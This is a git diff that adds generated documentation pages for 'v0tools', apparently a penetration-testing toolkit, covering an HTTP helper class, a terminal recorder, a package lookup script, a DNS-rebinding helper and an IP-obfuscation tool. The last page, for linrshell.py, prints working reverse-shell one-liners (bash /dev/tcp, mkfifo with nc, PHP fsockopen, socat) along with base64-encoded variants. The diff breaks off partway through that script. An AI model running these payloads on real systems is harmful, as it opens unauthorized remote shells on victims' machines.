+ + + + + \ No newline at end of file diff --git a/docs/public/api/v0tools.web.Webber.html b/docs/public/api/v0tools.web.Webber.html new file mode 100644 index 0000000..3478b41 --- /dev/null +++ b/docs/public/api/v0tools.web.Webber.html @@ -0,0 +1,253 @@ + + + + + v0tools.web.Webber : API documentation + + + + + + + + + +
+ + + +
+ class documentation +
+ +
+

class Webber(object):

+

View In Hierarchy

+
+ +
+

Helper class for making http reqests to a remote.

+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Method__init__Return Webber Object.
Instance Variablesessionrequests.Session object.
Instance VariabledebugDebug Flag (be verbose).
Methodset_cookieSet cookie.
MethodgetSimple http get request.
Methodget_jsonsimple get request with json input send as encoded params.
Methodpost_form_urlencoded_jsonPost with HEADER_URL_ENCODED header and dict passed as argument.
Methodpost_jsonPost with default JSON content encoding.
+ + + +
+ +
+ +
+ + + + + + + +
+ + def __init__(self, debug=False): + +
+
+ + +

Return Webber Object.

+
+
+ + + + + + + +
+ + session = + +
+
+ + +

requests.Session object.

+
+
+ + + + + + + +
+ + debug = + +
+
+ + +

Debug Flag (be verbose).

+
+
+ + + + + + + +
+ + def set_cookie(self, key, value): + +
+
+ + +

Set cookie.

+
+
+ + + + + + + +
+ + def get(self, url): + +
+
+ + +

Simple http get request.

+
+
+ + + + + + + +
+ + def get_json(self, url, json_param): + +
+
+ + +

simple get request with json input send as encoded params.

ParametersurlUndocumented (type: str)
json_paramUndocumented (type: dict)
+
+
+ + + + + + + +
+ + def post_form_urlencoded_json(self, url, json_param): + +
+
+ + +

Post with HEADER_URL_ENCODED header and dict passed as argument.

ParametersurlUndocumented (type: str)
json_paramUndocumented (type: dict)
+
+
+ + + + + + + +
+ + def post_json(self, url, json_param): + +
+
+ + +

Post with default JSON content encoding.

ParametersurlUndocumented (type: str)
json_paramUndocumented (type: dict)
+
+
+ +
+
+ API Documentation for v0tools, generated by pydoctor 21.2.2 at 1996-06-17 15:00:00. +
+ +
+ + + + + \ No newline at end of file diff --git a/docs/public/api/v0tools.web.html b/docs/public/api/v0tools.web.html new file mode 100644 index 0000000..5c4fdb8 --- /dev/null +++ b/docs/public/api/v0tools.web.html @@ -0,0 +1,97 @@ + + + + + v0tools.web : API documentation + + + + + + + + + +
+ + + +
+ module documentation +
+ +
+ +

+
+ +
+

HTB.

+
+ +
+ + + + + + + + + + + + + +
VariableHEADER_URL_ENCODEDURL Encoded Header.
ClassWebberHelper class for making http reqests to a remote.
+ + + +
+ +
+ +
+ + + + + + + +
+ + HEADER_URL_ENCODED = + +
+
+ + +

URL Encoded Header.

(type: dict[str, str]) +
+
+ +
+
+ API Documentation for v0tools, generated by pydoctor 21.2.2 at 1996-06-17 15:00:00. +
+ +
+ + + + + \ No newline at end of file diff --git a/docs/public/brand.svg b/docs/public/brand.svg new file mode 100644 index 0000000..e20f9c5 --- /dev/null +++ b/docs/public/brand.svg @@ -0,0 +1,88 @@ + + + + + + + + + + image/svg+xml + + + + + + + + + + + + + diff --git a/docs/public/cli/.directory b/docs/public/cli/.directory new file mode 100644 index 0000000..fdffa2a --- /dev/null +++ b/docs/public/cli/.directory @@ -0,0 +1 @@ +# placeholder diff --git a/docs/public/commands/cmd-not-found/index.html b/docs/public/commands/cmd-not-found/index.html new file mode 100644 index 0000000..00314b7 --- /dev/null +++ b/docs/public/commands/cmd-not-found/index.html @@ -0,0 +1,807 @@ + + + + + + + + + + + + + + + + + cmd-not-found.py | v0tools + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ + + +
+
+ + + + + + + v0tools + + +
+ + + + Toggle Dark/Light/Auto mode + + + + Toggle Dark/Light/Auto mode + + + + Toggle Dark/Light/Auto mode + + + + +
+
+
+ + +
+ + + + +
+ + + + + + + + + + + +
+ +
+ + +
+ + +
+ + +
+

cmd-not-found.py

+
+

Print how to install packages on different operating systems

+

Thanks to https://command-not-found.com/ and +Ƚukasz Lach https://twitter.com/lach_dev for hosting the site

+
+ + + + +
+ + + +
+
+ +
+ +
+ + + +
+
usage: cmd-not-found.py [-h] command
+
+Print how to install packages on different operating systems
+
+Thanks to https://command-not-found.com/ and
+Ƚukasz Lach https://twitter.com/lach_dev for hosting the site
+
+positional arguments:
+  command     command help
+
+optional arguments:
+  -h, --help  show this help message and exit
+
+
+ + + +
+
#!/usr/bin/env python3
+# -*- coding: utf-8 -*-
+"""
+Print how to install packages on different operating systems
+
+Thanks to https://command-not-found.com/ and
+Ƚukasz Lach https://twitter.com/lach_dev for hosting the site
+
+"""
+from bs4 import BeautifulSoup
+import requests
+import json
+from v0tools.cli import Cli
+
+cli = Cli()
+parser = cli.parser
+parser.add_argument(
+    "command",
+    help="command help",
+    type=str,
+)
+
+
+def main(args):
+    """Run main function."""
+    # txt = pathlib.Path("./test.html").read_text()
+    txt = requests.get(f"https://command-not-found.com/{args.command}")
+    val = BeautifulSoup(txt.content, "lxml")
+    vals = {}
+    for i in val.findAll("div"):
+        if "command-install" not in i.attrs["class"]:
+            continue
+        os = i.attrs.get("data-os")
+        if not os:
+            continue
+        code = i.find("code").getText()
+        vals[os] = code
+    print(json.dumps(vals, indent=4, separators=(",", " : ")))
+
+
+if __name__ == "__main__":
+    args = cli.get_parse()
+    # args = cli.get_parse("booga")
+    cli.set_entrypoint(main)
+    cli.run(args)
+
+
+
+ +
+ + +
+ + + + + + + + + + + + + + + + + + + + + +
+
+ + + +
+ + + + + + + + + + + + + + + + diff --git a/docs/public/commands/cmdrec/index.html b/docs/public/commands/cmdrec/index.html new file mode 100644 index 0000000..88e2c96 --- /dev/null +++ b/docs/public/commands/cmdrec/index.html @@ -0,0 +1,957 @@ + + + + + + + + + + + + + + + + + cmdrec.py | v0tools + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ + + +
+
+ + + + + + + v0tools + + +
+ + + + Toggle Dark/Light/Auto mode + + + + Toggle Dark/Light/Auto mode + + + + Toggle Dark/Light/Auto mode + + + + +
+
+
+ + +
+ + + + +
+ + + + + + + + + + + +
+ +
+ + +
+ + +
+ + +
+

cmdrec.py

+
+

Terminal Recorder using ffmpeg and KDE Console.

+
+ + + + +
+ + + +
+
+ +
+ +
+ + + +
+
usage: cmdrec.py [-h] [--overwrite] [--shell_geometry SHELL_GEOMETRY] [--recording_geometry RECORDING_GEOMETRY] [--scr SCR]
+                 [--noterm] [--terminal {konsole}]
+                 dest_file
+
+Terminal Recorder using ffmpeg and KDE Console.
+
+positional arguments:
+  dest_file             destination file, supported types mp4,gif,webm
+
+optional arguments:
+  -h, --help            show this help message and exit
+  --overwrite, -y       Overwrite destination file
+  --shell_geometry SHELL_GEOMETRY, -g SHELL_GEOMETRY
+                        geometry in the following format x,y,pixel-width,pixel-height
+  --recording_geometry RECORDING_GEOMETRY, -r RECORDING_GEOMETRY
+                        geometry in the following format for recording area x,y,pixel-width,pixel-height
+  --scr SCR, -k SCR     Screen Keys Screen
+  --noterm, -n          Do not spawn a new terminal
+  --terminal {konsole}, -t {konsole}
+                        terminal command
+
+
+ + + +
+
#!/usr/bin/env python3
+# -*- coding: utf-8 -*-
+"""Terminal Recorder using ffmpeg and KDE Console."""
+from v0tools.media import convert, screencast
+from v0tools import cli, exceptions
+import subprocess
+import time
+import signal
+import os
+import tempfile
+import shutil
+import pathlib
+
+
+TERM_COMMANDS = {
+    # "xterm": "xterm -class UXTerm -title uxterm -u8 -fa Mono -fs 18 -bg black -fg white -geometry __GEO__",
+    "konsole": "konsole --nofork --geometry __GEO__",
+}
+
+
+def _mp4(srcfile, destfile):
+    """This is the default action, just move the file."""
+    shutil.move(srcfile, destfile)
+
+
+def _gif(srcfile, destfile):
+    """Convert to GIF."""
+    out = convert.mp4_to_gif(srcfile, destfile, True)
+    print(out)
+    os.unlink(srcfile)
+
+
+def _webm(srcfile, destfile):
+    out = convert.mp4_to_webm(srcfile, destfile, True)
+    print(out)
+    os.unlink(srcfile)
+
+
+FT_MAP = {
+    "mp4": _mp4,
+    "gif": _gif,
+    "webm": _webm,
+}
+
+cli = cli.Cli()
+
+parser = cli.parser
+
+parser.add_argument(
+    "dest_file",
+    help=f'destination file, supported types {",".join(FT_MAP)}',
+    type=str,
+)
+
+parser.add_argument(
+    "--overwrite",
+    "-y",
+    help="Overwrite destination file",
+    action="store_true",
+    default=False,
+)
+
+parser.add_argument(
+    "--shell_geometry",
+    "-g",
+    help="geometry in the following format x,y,pixel-width,pixel-height",
+    type=str,
+    default="0,0,1920,1080",
+)
+
+parser.add_argument(
+    "--recording_geometry",
+    "-r",
+    help="geometry in the following format for recording area x,y,pixel-width,pixel-height",
+    type=str,
+    default="0,0,1920,1080",
+)
+
+parser.add_argument(
+    "--scr",
+    "-k",
+    help="Screen Keys Screen",
+    type=int,
+    default=0,
+)
+
+parser.add_argument(
+    "--noterm",
+    "-n",
+    help="Do not spawn a new terminal",
+    action="store_true",
+    default=False,
+)
+
+parser.add_argument(
+    "--terminal",
+    "-t",
+    help="terminal command",
+    type=str,
+    choices=TERM_COMMANDS.keys(),
+    default="konsole",
+)
+
+
+def _ffmpeg(args, tfile):
+    win = WinProps(args)
+    return screencast.x11_to_mp4(
+        win.rx,
+        win.ry,
+        win.rwidth,
+        win.rheight,
+        tfile,
+    )
+
+
+class WinProps(object):
+    """Window Properties."""
+
+    def __init__(self, args):
+        sarr = args.shell_geometry.split(",")
+        rarr = args.recording_geometry.split(",")
+        if len(sarr) != 4:
+            parser.print_help()
+            raise exceptions.InvalidCliArgument("--shell_geometry")
+        if len(rarr) != 4:
+            parser.print_help()
+            raise exceptions.InvalidCliArgument("--recording_geometry")
+
+        self.sx, self.sy, self.swidth, self.sheight = map(int, sarr)
+        self.rx, self.ry, self.rwidth, self.rheight = map(int, rarr)
+
+
+def shell(args):
+    xo = WinProps(args)
+    geo = f"{xo.swidth}x{xo.sheight}+{xo.sx}+{xo.sy}"
+    cmd = [
+        "konsole",
+        "--nofork",
+        "--geometry",
+        geo,
+    ]
+    return subprocess.Popen(cmd)
+
+
+def main(args):
+    """Run main function."""
+    ext = args.dest_file.rsplit(".", 1)
+    if len(ext) == 1:
+        raise exceptions.InvalidFileExtention(args.dest_file, list(FT_MAP))
+    if ext[1] not in FT_MAP:
+        raise exceptions.InvalidFileExtention(args.dest_file, list(FT_MAP))
+    if os.path.exists(args.dest_file) and not args.overwrite:
+        raise exceptions.FileExists(args.dest_file, "--overwrite not set")
+    args.func = FT_MAP[ext[1]]
+    pdir = pathlib.Path(args.dest_file).resolve().parent
+    if not pdir.exists():
+        raise exceptions.DirectoryNotExist(str(pdir))
+
+    if not args.noterm:
+        shell_proc = shell(args)
+        time.sleep(1)
+
+    tfile = tempfile.mktemp(suffix=".mp4")
+
+    rec_proc = _ffmpeg(args, tfile)
+    keys_proc = screencast.screenkey(args.scr)
+
+    if not args.noterm:
+        shell_proc.communicate()
+        rec_proc.send_signal(signal.SIGTERM)
+        keys_proc.send_signal(signal.SIGTERM)
+        time.sleep(1)
+    else:
+        try:
+            rec_proc.communicate()
+        except KeyboardInterrupt:
+            pass
+        keys_proc.send_signal(signal.SIGTERM)
+        time.sleep(1)
+
+    args.func(tfile, args.dest_file)
+
+
+# This needs to be set here
+cli.set_entrypoint(main)
+cli.set_required_binaries(["konsole", "ffmpeg", "screenkey"])
+
+if __name__ == "__main__":
+    args = cli.get_parse()
+    cli.run(args)
+    # args = cli.get_parse("--help")
+    # args = cli.get_parse("foo.txt")
+
+
+
+ +
+ + +
+ + + + + + + + + + + + + + + + + + + + + +
+
+ + + +
+ + + + + + + + + + + + + + + + diff --git a/docs/public/commands/dnsrebind/index.html b/docs/public/commands/dnsrebind/index.html new file mode 100644 index 0000000..4fe79f0 --- /dev/null +++ b/docs/public/commands/dnsrebind/index.html @@ -0,0 +1,850 @@ + + + + + + + + + + + + + + + + + dnsrebind.py | v0tools + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ + + +
+
+ + + + + + + v0tools + + +
+ + + + Toggle Dark/Light/Auto mode + + + + Toggle Dark/Light/Auto mode + + + + Toggle Dark/Light/Auto mode + + + + +
+
+
+ + +
+ + + + +
+ + + + + + + + + + + +
+ +
+ + +
+ + +
+ + +
+

dnsrebind.py

+
+

dns rebinding fqdn.

+
+ + + + +
+ + + +
+
+ +
+ +
+ + + +
+
usage: dnsrebind.py [-h] [--test_count TEST_COUNT] [--verbose] normalip rebindip
+
+dns rebinding fqdn.
+
+positional arguments:
+  normalip              initial ip
+  rebindip              rebind ip
+
+optional arguments:
+  -h, --help            show this help message and exit
+  --test_count TEST_COUNT, -t TEST_COUNT
+                        test count
+  --verbose, -v         verbose
+
+
+ + + +
+
#!/usr/bin/env python3
+# -*- coding: utf-8 -*-
+"""dns rebinding fqdn."""
+from v0tools.attacks.dnsrebind import get_fqdn
+from v0tools.lib.log import get_log
+from v0tools.cli import Cli, exceptions
+import argparse
+import socket
+import concurrent.futures as confu
+import random
+import time
+from collections import Counter
+
+SECONDS = 5
+MAX_TEST_COUNT = 250
+MIN_TEST_COUNT = 50
+
+LOG = get_log()
+
+cli = Cli()
+
+
+parser = cli.parser
+
+parser.add_argument(
+    "normalip",
+    help="initial ip",
+    type=str,
+)
+parser.add_argument(
+    "rebindip",
+    help="rebind ip",
+    type=str,
+)
+
+parser.add_argument(
+    "--test_count",
+    "-t",
+    help="test count",
+    default=0,
+    type=int,
+)
+
+parser.add_argument(
+    "--verbose",
+    "-v",
+    action="store_true",
+    help="verbose",
+    default=False,
+)
+
+
+def _q(fqdn):
+    sl_int = random.randint(200, SECONDS * 1000)
+    time.sleep(0.001 * sl_int)
+    return socket.gethostbyname(fqdn)
+
+
+def main(args):
+    """Run main function."""
+    fqdn = get_fqdn(args.normalip, args.rebindip)
+    responses = Counter()
+    if args.test_count:
+        if args.test_count >= MAX_TEST_COUNT:
+            msg = f"test count should be below {MAX_TEST_COUNT}"
+            raise exceptions.InvalidCliArgument("--test_count", msg)
+        if args.test_count <= MIN_TEST_COUNT:
+            msg = f"test count should be above {MIN_TEST_COUNT}"
+            raise exceptions.InvalidCliArgument("--test_count", msg)
+
+        LOG.info(f"Running tests on: {fqdn}")
+        LOG.info(f"This will finish in ~{SECONDS} seconds")
+        with confu.ThreadPoolExecutor(args.test_count) as executor:
+            futures = [executor.submit(_q, fqdn) for _ in range(args.test_count)]
+            for future in confu.as_completed(futures):
+                res = future.result()
+                responses[res] += 1
+                if args.verbose:
+                    LOG.info("Query result: %s", res)
+        LOG.info("Result Count Summary:")
+        for k, v in responses.most_common():
+            LOG.info("%s: %s", k, v)
+    else:
+        print(fqdn)
+
+
+cli.set_entrypoint(main)
+
+if __name__ == "__main__":
+    # args = parser.parse_args(["8.8.8.8", "127.0.0.1", "-t", "100"])
+    args = cli.get_parse()
+    cli.run(args)
+
+
+
+ +
+ + +
+ + + + + + + + + + + + + + + + + + + + + +
+
+ + + +
+ + + + + + + + + + + + + + + + diff --git a/docs/public/commands/index.html b/docs/public/commands/index.html new file mode 100644 index 0000000..3b7eca3 --- /dev/null +++ b/docs/public/commands/index.html @@ -0,0 +1,863 @@ + + + + + + + + + + + + + + + + + Commands | v0tools + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ + + +
+
+ + + + + + + v0tools + + +
+ + + + Toggle Dark/Light/Auto mode + + + + Toggle Dark/Light/Auto mode + + + + Toggle Dark/Light/Auto mode + + + + +
+
+
+ + +
+ + + + +
+ + + + + + + + + + + +
+ +
+ + +
+ + +
+ + +
+

Commands

+ + + +
+ +
    + + + +
  • + + + linrshell.py: Linux Reverse Shell stager. + + + + + +
  • + + + +
  • + + + winrshell.py: Windows Reverse Shell stager. + + + + + +
  • + + + + + +
  • + + + v0_bash_complete_msfvenom.py: Sourceable Autocomplete for msfvenom flags. + + + + + +
  • + + + +
  • + + + v0serv.py: HTTP Serve a directory, or serve a single isolated file. + + + + + +
  • + + + +
  • + + + v0upload.py: HTTP server that accepts PUT requests from remotes. + + + + + +
  • + + + + + +
  • + + + cmd-not-found.py: Print how to install packages on different operating systems + +Thanks to https://command-not-found.com/ and +Ƚukasz Lach https://twitter.com/lach_dev for hosting the site + + + + + +
  • + + + +
  • + + + cmdrec.py: Terminal Recorder using ffmpeg and KDE Console. + + + + + +
  • + + + +
  • + + + dnsrebind.py: dns rebinding fqdn. + + + + + +
  • + + + +
  • + + + ip_urls.py: Generate a list of obfuscated ip variations and print to stdout. + + + + + +
  • + + + +
  • + + + php_search_vuln.py: Search for vulnerable calls / strings in php code. + +Example Repo: https://github.com/OWASP/Vulnerable-Web-Application.git + + + + + +
  • + + + +
  • + + + unicodes.py: print unicode values and associated information to stdout. + + + + + +
  • + + + +
+ +
+ + + + + + +
+ + + + + + + + + + + + + + + + + + + + + +
+
+ + + +
+ + + + + + + + + + + + + + + + diff --git a/docs/public/commands/index.xml b/docs/public/commands/index.xml new file mode 100644 index 0000000..385f23d --- /dev/null +++ b/docs/public/commands/index.xml @@ -0,0 +1,121 @@ + + + + Commands on v0tools + https://v0tools.stev0.me/commands/ + Recent content in Commands on v0tools + Hugo -- gohugo.io + + linrshell.py + https://v0tools.stev0.me/commands/linrshell/ + Mon, 01 Jan 0001 00:00:00 +0000 + + https://v0tools.stev0.me/commands/linrshell/ + Linux Reverse Shell stager. + Screencast Help usage: linrshell.py [-h] [--interface INTERFACE] [--ipv {4,6}] [-p PORT] [--rshell RSHELL] [--list] Linux Reverse Shell stager. optional arguments: -h, --help show this help message and exit --interface INTERFACE, -i INTERFACE network interface: i.e. tun0, eth0, if undefined, an fzf prompt will appear --ipv {4,6} IP Version -p PORT, --port PORT Directory or file path. --rshell RSHELL, -s RSHELL Reverse shell type nc,socat --list, -l List reverse shell types Source #! + + + + winrshell.py + https://v0tools.stev0.me/commands/winrshell/ + Mon, 01 Jan 0001 00:00:00 +0000 + + https://v0tools.stev0.me/commands/winrshell/ + Windows Reverse Shell stager. + Screencast Help usage: winrshell.py [-h] [-p PORT] [--interface INTERFACE] [--ipv {4,6}] [--rshell RSHELL] [--list] Windows Reverse Shell stager. optional arguments: -h, --help show this help message and exit -p PORT, --port PORT Directory or file path. --interface INTERFACE, -i INTERFACE network interface: i.e. tun0, eth0, if undefined, an fzf prompt will appear --ipv {4,6} IP Version --rshell RSHELL, -s RSHELL Reverse shell type psh,conpty --list, -l List reverse shell types Source #! + + + + v0_bash_complete_msfvenom.py + https://v0tools.stev0.me/commands/v0_bash_complete_msfvenom/ + Mon, 01 Jan 0001 00:00:00 +0000 + + https://v0tools.stev0.me/commands/v0_bash_complete_msfvenom/ + Sourceable Autocomplete for msfvenom flags. + Screencast Help usage: v0_bash_complete_msfvenom.py [-h] Sourceable Autocomplete for msfvenom flags. optional arguments: -h, --help show this help message and exit Source #!/usr/bin/env python3 # -*- coding: utf-8 -*- &#34;&#34;&#34;Sourceable Autocomplete for msfvenom flags.&#34;&#34;&#34; from v0tools.msf import get_venom_auto_complete from v0tools.cli import Cli def main(args): &#34;&#34;&#34;Run main function.&#34;&#34;&#34; print(&#34;##### Venom Autocomplete&#34;, flush=True) print(get_venom_auto_complete(), flush=True) cli = Cli() cli. + + + + v0serv.py + https://v0tools.stev0.me/commands/v0serv/ + Mon, 01 Jan 0001 00:00:00 +0000 + + https://v0tools.stev0.me/commands/v0serv/ + HTTP Serve a directory, or serve a single isolated file. + Screencast Help usage: v0serv.py [-h] [--interface INTERFACE] [--ipv {4,6}] [-p PORT] [-d {none,certutil,ps-download,ps-exec}] path HTTP Serve a directory, or serve a single isolated file. positional arguments: path Directory or file path. optional arguments: -h, --help show this help message and exit --interface INTERFACE, -i INTERFACE network interface: i.e. tun0, eth0, if undefined, an fzf prompt will appear --ipv {4,6} IP Version -p PORT, --port PORT Directory or file path. + + + + v0upload.py + https://v0tools.stev0.me/commands/v0upload/ + Mon, 01 Jan 0001 00:00:00 +0000 + + https://v0tools.stev0.me/commands/v0upload/ + HTTP server that accepts PUT requests from remotes. + Screencast Help usage: v0upload.py [-h] [--interface INTERFACE] [--ipv {4,6}] [-p PORT] path HTTP server that accepts PUT requests from remotes. positional arguments: path Directory or file path. optional arguments: -h, --help show this help message and exit --interface INTERFACE, -i INTERFACE network interface: i.e. tun0, eth0, if undefined, an fzf prompt will appear --ipv {4,6} IP Version -p PORT, --port PORT Directory or file path. + + + + cmd-not-found.py + https://v0tools.stev0.me/commands/cmd-not-found/ + Mon, 01 Jan 0001 00:00:00 +0000 + + https://v0tools.stev0.me/commands/cmd-not-found/ + Print how to install packages on different operating systems +Thanks to https://command-not-found.com/ and Ƚukasz Lach https://twitter.com/lach_dev for hosting the site + Screencast Help usage: cmd-not-found.py [-h] command Print how to install packages on different operating systems Thanks to https://command-not-found.com/ and Ƚukasz Lach https://twitter.com/lach_dev for hosting the site positional arguments: command command help optional arguments: -h, --help show this help message and exit Source #! + + + + cmdrec.py + https://v0tools.stev0.me/commands/cmdrec/ + Mon, 01 Jan 0001 00:00:00 +0000 + + https://v0tools.stev0.me/commands/cmdrec/ + Terminal Recorder using ffmpeg and KDE Console. + Screencast Help usage: cmdrec.py [-h] [--overwrite] [--shell_geometry SHELL_GEOMETRY] [--recording_geometry RECORDING_GEOMETRY] [--scr SCR] [--noterm] [--terminal {konsole}] dest_file Terminal Recorder using ffmpeg and KDE Console. positional arguments: dest_file destination file, supported types mp4,gif,webm optional arguments: -h, --help show this help message and exit --overwrite, -y Overwrite destination file --shell_geometry SHELL_GEOMETRY, -g SHELL_GEOMETRY geometry in the following format x,y,pixel-width,pixel-height --recording_geometry RECORDING_GEOMETRY, -r RECORDING_GEOMETRY geometry in the following format for recording area x,y,pixel-width,pixel-height --scr SCR, -k SCR Screen Keys Screen --noterm, -n Do not spawn a new terminal --terminal {konsole}, -t {konsole} terminal command Source #! + + + + dnsrebind.py + https://v0tools.stev0.me/commands/dnsrebind/ + Mon, 01 Jan 0001 00:00:00 +0000 + + https://v0tools.stev0.me/commands/dnsrebind/ + dns rebinding fqdn. + Screencast Help usage: dnsrebind.py [-h] [--test_count TEST_COUNT] [--verbose] normalip rebindip dns rebinding fqdn. positional arguments: normalip initial ip rebindip rebind ip optional arguments: -h, --help show this help message and exit --test_count TEST_COUNT, -t TEST_COUNT test count --verbose, -v verbose Source #!/usr/bin/env python3 # -*- coding: utf-8 -*- &#34;&#34;&#34;dns rebinding fqdn.&#34;&#34;&#34; from v0tools.attacks.dnsrebind import get_fqdn from v0tools.lib.log import get_log from v0tools. + + + + ip_urls.py + https://v0tools.stev0.me/commands/ip_urls/ + Mon, 01 Jan 0001 00:00:00 +0000 + + https://v0tools.stev0.me/commands/ip_urls/ + Generate a list of obfuscated ip variations and print to stdout. + Screencast Help usage: ip_urls.py [-h] ip Generate a list of obfuscated ip variations and print to stdout. positional arguments: ip ip address optional arguments: -h, --help show this help message and exit Source #!/usr/bin/env python3 # -*- coding: utf-8 -*- &#34;&#34;&#34;Generate a list of obfuscated ip variations and print to stdout. + + + + php_search_vuln.py + https://v0tools.stev0.me/commands/php_search_vuln/ + Mon, 01 Jan 0001 00:00:00 +0000 + + https://v0tools.stev0.me/commands/php_search_vuln/ + Search for vulnerable calls / strings in php code. +Example Repo: https://github.com/OWASP/Vulnerable-Web-Application.git + Screencast Help usage: php_search_vuln.py [-h] [--filter FILTER] [--inc_lines INC_LINES] path Search for vulnerable calls / strings in php code. Example Repo: https://github.com/OWASP/Vulnerable-Web-Application.git positional arguments: path Directory or file path. optional arguments: -h, --help show this help message and exit --filter FILTER, -f FILTER i.e. *.php or *.py --inc_lines INC_LINES, -l INC_LINES number of lines to include before / after match Source #! + + + + unicodes.py + https://v0tools.stev0.me/commands/unicodes/ + Mon, 01 Jan 0001 00:00:00 +0000 + + https://v0tools.stev0.me/commands/unicodes/ + print unicode values and associated information to stdout. + Screencast Help usage: unicodes.py [-h] [-f [FILTER ...]] print unicode values and associated information to stdout. example: unicodes.py | fzf optional arguments: -h, --help show this help message and exit -f [FILTER ...], --filter [FILTER ...] Filter string Source #!/usr/bin/env python3 # -*- coding: utf-8 -*- &#34;&#34;&#34;print unicode values and associated information to stdout. + + + + diff --git a/docs/public/commands/ip_urls/index.html b/docs/public/commands/ip_urls/index.html new file mode 100644 index 0000000..f652e6e --- /dev/null +++ b/docs/public/commands/ip_urls/index.html @@ -0,0 +1,791 @@ + + + + + + + + + + + + + + + + + ip_urls.py | v0tools + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ + + +
+
+ + + + + + + v0tools + + +
+ + + + Toggle Dark/Light/Auto mode + + + + Toggle Dark/Light/Auto mode + + + + Toggle Dark/Light/Auto mode + + + + +
+
+
+ + +
+ + + + +
+ + + + + + + + + + + +
+ +
+ + +
+ + +
+ + +
+

ip_urls.py

+
+

Generate a list of obfuscated ip variations and print to stdout.

+
+ + + + +
+ + + +
+
+ +
+ +
+ + + +
+
usage: ip_urls.py [-h] ip
+
+Generate a list of obfuscated ip variations and print to stdout.
+
+positional arguments:
+  ip          ip address
+
+optional arguments:
+  -h, --help  show this help message and exit
+
+
+ + + +
+
#!/usr/bin/env python3
+# -*- coding: utf-8 -*-
+"""Generate a list of obfuscated ip variations and print to stdout."""
+from v0tools.ips import get_urls
+from v0tools.lib.log import get_log
+from v0tools.cli import Cli, exceptions
+import ipaddress
+
+LOG = get_log()
+cli = Cli()
+cli.parser.add_argument(
+    "ip",
+    help="ip address",
+    type=str,
+)
+
+
+def main(args):
+    """Run main function."""
+    LOG.info(f"Showing IP Variations for {args.ip}")
+    try:
+        ok = ipaddress.ip_address(args.ip)
+    except ValueError:
+        ok = None
+    if not ok:
+        raise exceptions.InvalidIp(args.ip)
+    get_urls(args.ip)
+
+
+cli.set_entrypoint(main)
+
+if __name__ == "__main__":
+    # args = cli.get_parse("--help")
+    # args = cli.get_parse("172.217.5.110")
+    # args = cli.get_parse("172.217.5")
+    args = cli.get_parse()
+    cli.run(args)
+
+
+
+ +
+ + +
+ + + + + + + + + + + + + + + + + + + + + +
+
+ + + +
+ + + + + + + + + + + + + + + + diff --git a/docs/public/commands/linrshell/index.html b/docs/public/commands/linrshell/index.html new file mode 100644 index 0000000..e40aab0 --- /dev/null +++ b/docs/public/commands/linrshell/index.html @@ -0,0 +1,864 @@ + + + + + + + + + + + + + + + + + linrshell.py | v0tools + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ + + +
+
+ + + + + + + v0tools + + +
+ + + + Toggle Dark/Light/Auto mode + + + + Toggle Dark/Light/Auto mode + + + + Toggle Dark/Light/Auto mode + + + + +
+
+
+ + +
+ + + + +
+ + + + + + + + + + + +
+ +
+ + +
+ + +
+ + +
+

linrshell.py

+
+

Linux Reverse Shell stager.

+
+ + + + +
+ + + +
+
+ +
+ +
+ + + +
+
usage: linrshell.py [-h] [--interface INTERFACE] [--ipv {4,6}] [-p PORT] [--rshell RSHELL] [--list]
+
+Linux Reverse Shell stager.
+
+optional arguments:
+  -h, --help            show this help message and exit
+  --interface INTERFACE, -i INTERFACE
+                        network interface: i.e. tun0, eth0, if undefined, an fzf prompt will appear
+  --ipv {4,6}           IP Version
+  -p PORT, --port PORT  Directory or file path.
+  --rshell RSHELL, -s RSHELL
+                        Reverse shell type nc,socat
+  --list, -l            List reverse shell types
+
+
+ + + +
+
#!/usr/bin/env python3
+# -*- coding: utf-8 -*-
+"""Linux Reverse Shell stager."""
+import argparse
+from v0tools.lib import util
+from v0tools import ansi, syspkgs, cli
+from base64 import b64encode
+from pyfzf.pyfzf import FzfPrompt
+import os
+
+
+def _socat(args):
+    """Raw TTY socat listener
+
+    Runs: socat file:`tty`,raw,echo=0 tcp-listen:{args.port}
+    """
+    remote_commands = [
+        f"socat exec:'__SH__ -i',pty,stderr,setsid,sigint,sane tcp:{args.address}:{args.port}",
+    ]
+    lcmd = f"socat file:`tty`,raw,echo=0 tcp-listen:{args.port}"
+    _print_remote(remote_commands)
+    _print_local(lcmd)
+    os.system(lcmd)
+
+
+def _nc(args):
+    """Netcat Listener
+
+    Runs: nc -nklv {args.address} {args.port}"
+    """
+    lcmd = f"nc -nklv {args.address} {args.port}"
+    remote_commands = [
+        f"__SH__ -i >& /dev/tcp/{args.address}/{args.port} 0>&1",
+        f"mkfifo /tmp/{args.rstr};cat /tmp/{args.rstr}|__SH__ -i 2>&1|nc {args.address} {args.port} /tmp/{args.rstr}",
+        f'php -r \'$sock=fsockopen("{args.address}",{args.port});exec("__SH__ -i <&3 >&3 2>&3");\'',
+    ]
+    _print_remote(remote_commands)
+    _print_local(lcmd)
+    os.system(lcmd)
+
+
+SH_MAP = {
+    "nc": _nc,
+    "socat": _socat,
+}
+
+cli = cli.Cli()
+
+parser = cli.parser
+cli.add_ipv_interface()
+cli.add_port()
+
+parser.add_argument(
+    "--rshell",
+    "-s",
+    help=f"Reverse shell type {','.join(SH_MAP.keys())}",
+    type=str,
+)
+
+parser.add_argument(
+    "--list",
+    "-l",
+    help="List reverse shell types",
+    action="store_true",
+    default=False,
+)
+
+
+def _print_remote(remote_commands):
+    print(ansi.banner("Victim Commands:"))
+    for sh in ["sh", "bash"]:
+        print(ansi.section(sh))
+        for i in remote_commands:
+            sval = f"{i}".replace("__SH__", sh)
+            print(f"{sval} &")
+            print(f"echo {b64encode(sval.encode()).decode()} | base64 -d | {sh} &")
+            print()
+
+
+def _print_local(lcmd):
+    print(ansi.banner("Victim staging copy pasta:"))
+    print(util.rshell_stagetxt())
+    print(ansi.banner(f"Starting listener: {lcmd}"))
+
+
+def main(args):
+    """Run main function."""
+    SH_MAP[args.rshell](args)
+
+
+if __name__ == "__main__":
+    args = cli.get_parse()
+    syspkgs.check_installs(["nc", "socat"])
